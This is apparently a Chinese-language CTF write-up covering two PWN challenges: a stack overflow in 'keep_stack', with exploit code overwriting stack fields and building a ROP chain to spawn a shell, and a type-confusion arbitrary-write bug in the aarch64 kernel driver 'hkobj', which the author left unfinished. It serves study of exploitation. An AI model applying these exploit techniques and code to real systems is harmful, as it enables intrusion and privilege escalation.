2026数字中国PWN挑战赛Writeup详解教学文档
1. 前言
本文档基于2026年数字中国PWN挑战赛的两道题目(keep_stack和hkobj)的技术分析文章,详细解析其漏洞原理、利用思路和攻击链构建过程。旨在为二进制安全学习者提供详尽的技术参考。
2. PWN1:keep_stack
2.1 题目概述
这是一个栈溢出题目,涉及格式化字符串处理、变量覆盖和栈布局控制。
2.2 关键函数分析
2.2.1 prompt_and_echo_message函数
int prompt_and_echo_message()
{
message_ctx_t ctx; // 栈上分配的局部变量
unsigned int unused_seed; // 未使用的种子变量
puts("length: ");
__isoc99_scanf("%zu", &ctx.max_units); // 读取最大单元数
unused_seed = derive_seed_from_length(ctx.max_units); // 派生种子(实际未使用)
memset(&ctx, 0, 0x80u); // 清零ctx结构体
puts("What do you want to say? ");
reset_write_index_and_xor_mode1(&ctx); // 重置索引并异或模式
xor_mode3(&ctx); // 再次异或模式
read_sparse_message(&ctx); // 读取稀疏消息
return printf("input: %s\n", ctx.text); // 回显输入
}
2.2.2 重要约束条件
- 长度限制:
ctx.max_units必须小于等于0x10(16) - 结构体定义:
struct message_ctx {
char text[128]; // 0x80字节
size_t max_units; // 偏移0x80
size_t write_index; // 偏移0x88
}; // 总大小0x90字节
2.3 漏洞点分析
2.3.1 栈溢出位置
在read_sparse_message函数中存在关键写操作:
*(_WORD *)&ctx->text[write_stride * ctx->write_index++] = input_pair;
其中write_stride由全局变量g_sparse_stride_mode决定:
- 当
g_sparse_stride_mode == 2时,步长为4字节 - 其他情况步长为2字节
2.3.2 溢出计算
结构体栈布局(从rbp开始):
rbp-A0h: text[128] // 0x80字节
rbp-20h: max_units // 8字节
rbp-18h: write_index // 8字节
rbp-10h: 栈保护相关
rbp-8h: 保存的rbp
rbp+0: 返回地址
溢出路径分析:
- 初始
text数组占据0x80字节 - 当
write_index达到0x20时,使用2字节步长会覆盖到max_units字段 - 继续写入可覆盖
write_index字段 - 最终可覆盖返回地址
2.4 利用策略
2.4.1 步长选择
- 使用2字节步长进行更密集的覆盖
- 避免使用4字节步长(过于稀疏,难以精细控制)
2.4.2 参数控制
需要设置max_units = 0x24,在write_index = 0x23时将其修改为0x29,绕过循环检查:
while (ctx->write_index < ctx->max_units) // 需要维持此条件
2.4.3 两阶段攻击
- 第一阶段:通过第一次溢出修改返回地址,重新返回主函数
- 第二阶段:利用第二次机会完成完整的ROP链构建
2.5 利用代码关键片段
def pwn2(chain, ret_addr, wait_length=True):
if wait_length:
io.recvuntil(b'length: \n')
io.sendline(b'66')
io.recvuntil(b'What do you want to say? \n')
for i in range(64):
sd(b'aa')
sd(p16(0x54 + (len(chain) + 1) * 4))
sd(b'\x00\x00')
sd(b'\x00\x00')
sd(b'\x00\x00')
sd(b'\x46\x00')
for i in range(13):
sd(b'\x00\x00')
for x in chain + [ret_addr]:
x = p64(x)
sd(x[0:2])
sd(x[2:4])
sd(x[4:6])
sd(x[6:8])
2.6 完整攻击流程
- 泄露libc地址:通过
puts泄露GOT表 - 计算libc基址
- 构造system("/bin/sh")调用链
- 获取shell
3. PWN2:hkobj
3.1 题目概述
这是一个Linux内核驱动程序漏洞,运行在aarch64架构上,提供8字节任意地址写能力,但缺乏信息泄露点。
3.2 环境配置
3.2.1 Docker环境构建
FROM alpine
RUN apk add --no-cache qemu-system-aarch64 socat bash
WORKDIR /opt
COPY Image rootfs.cpio run.sh hkobj.ko start.sh ./
RUN mkdir /opt/org_rootfs && \
cd /opt/org_rootfs && \
cpio -idm < /opt/rootfs.cpio
RUN echo "flag{test_flag}" > /flag && chmod 400 /flag
EXPOSE 8888
ENTRYPOINT ["socat", "TCP-LISTEN:8888,reuseaddr,fork", "EXEC:/opt/run.sh,pty,raw,echo=0,stderr"]
3.2.2 启动命令
# 构建镜像
docker build -t hkojb .
# 运行容器
docker run --rm -it -p 8888:8888 hkojb
# 传输exp
(base64 -w0 exp.bin; printf '\nEOF\n') | nc 127.0.0.1 8888
3.3 驱动程序分析
3.3.1 数据结构
typedef struct hkobj_entry {
char *buf; // 8字节,指向内核堆缓冲区的指针
unsigned long id; // 8字节,对象ID
} hkobj_entry;
void *hkobj_array[6]; // 6个指针的数组,每个8字节
3.3.2 关键函数
do_alloc函数
static long do_alloc(void)
{
char *buf = __kmalloc_cache_noprof(kmalloc_caches[3], 0xdc0, 8);
if (!buf) return -12; // ENOMEM
if (index > 5) return -12; // 越界检查
// 类型混淆的关键:将void*数组当作hkobj_entry结构体访问
((hkobj_entry *)&hkobj_array[index])->buf = buf;
((hkobj_entry *)&hkobj_array[index])->id = user_payload.id;
ret = __arch_copy_from_user(buf, user_payload.buf, 8);
if (ret) {
memset(buf + 8 - ret, 0, ret);
}
index += 2; // 每次分配索引加2
return 0;
}
do_write函数
static long do_write(void)
{
for (int i = 0; i < 6; ++i) {
if (((hkobj_entry *)&hkobj_array[i])->id == user_payload.id) {
// 漏洞:将hkobj_array[i]直接作为目标地址写入
ret = __arch_copy_from_user(hkobj_array[i], user_payload.buf, 8);
return ret;
}
}
return -2; // ENODEV
}
3.4 漏洞原理
3.4.1 类型混淆
驱动程序错误地将void *hkobj_array[6]数组解释为hkobj_entry结构体数组。每次alloc操作实际上写入两个数组元素:
hkobj_array[index]被写入缓冲区指针hkobj_array[index+1]被写入ID值
3.4.2 任意地址写机制
-
分配阶段:当
index=4时进行第三次分配- 写入
hkobj_array[4]= 分配的缓冲区地址 - 写入
hkobj_array[5]= 用户提供的ID
- 写入
-
越界写:由于每次分配后
index+=2,第三次分配会越界写到hkobj_array[5]之后的位置,正好是全局变量user_payload.buf -
利用流程:
a. 通过第三次分配覆盖user_payload.buf为目标地址
b. 通过do_write查找匹配的ID
c. 当hkobj_array[i](即被覆盖的user_payload.buf)指向目标地址,且对应ID匹配时
d. 执行__arch_copy_from_user(hkobj_array[i], user_payload.buf, 8),实现任意地址写
3.5 利用限制与挑战
3.5.1 主要限制
- 只有8字节任意地址写能力
- 缺乏任意地址读能力
- 无法直接泄露内核基址
- 开启了KASLR(内核地址空间布局随机化)
3.5.2 缓存限制
- 只能从特定缓存分配:
kmalloc_caches[3] - 最多分配3个对象(每次分配消耗2个数组槽位)
- 没有UAF(Use-After-Free)漏洞
- 无法进行cross-cache攻击
3.6 可能的利用思路
3.6.1 已知问题
题目提供了类似msg_msg的任意地址写原语,但由于缺乏信息泄露,难以构建完整的攻击。传统的内核利用通常需要:
- 泄露内核基址以绕过KASLR
- 泄露堆地址以构建稳定的利用链
- 提升权限或执行任意代码
3.6.2 未完成的挑战
文档作者表示未找到有效的泄露方法,因此虽然获得了强大的写原语,但无法完成完整的攻击链。这可能是题目设计的难点所在。
4. 总结与学习要点
4.1 PWN1关键点
- 栈布局的精确计算
- 结构体字段的覆盖控制
- 多阶段溢出攻击策略
- 利用循环条件维持控制流
- ROP链的构建与执行
4.2 PWN2关键点
- 内核驱动中的类型混淆漏洞
- 数组越界写全局变量
- 利用全局变量污染实现原语升级
- aarch64架构下的内核利用特殊性
- 无信息泄露情况下的利用挑战
4.3 通用技术要点
- 栈帧分析与溢出计算
- 结构体内存布局理解
- 多阶段攻击链构建
- 环境配置与调试技巧
- 漏洞原语的组合与升级
5. 扩展思考
- 在缺乏信息泄露的情况下,如何利用有限的写原语实现内核利用?
- 如何在内核中寻找或创造信息泄露机会?
- aarch64与x86-64架构在利用技术上的差异
- 如何防御此类类型混淆漏洞?
文档未详述此点,但基于我所掌握的知识:在实际的内核利用中,当只有写原语时,可能需要寻找可预测的内核数据结构,或利用竞态条件等其他漏洞组合完成利用。但在现代内核防护机制下,这类无信息泄露的利用变得越来越困难。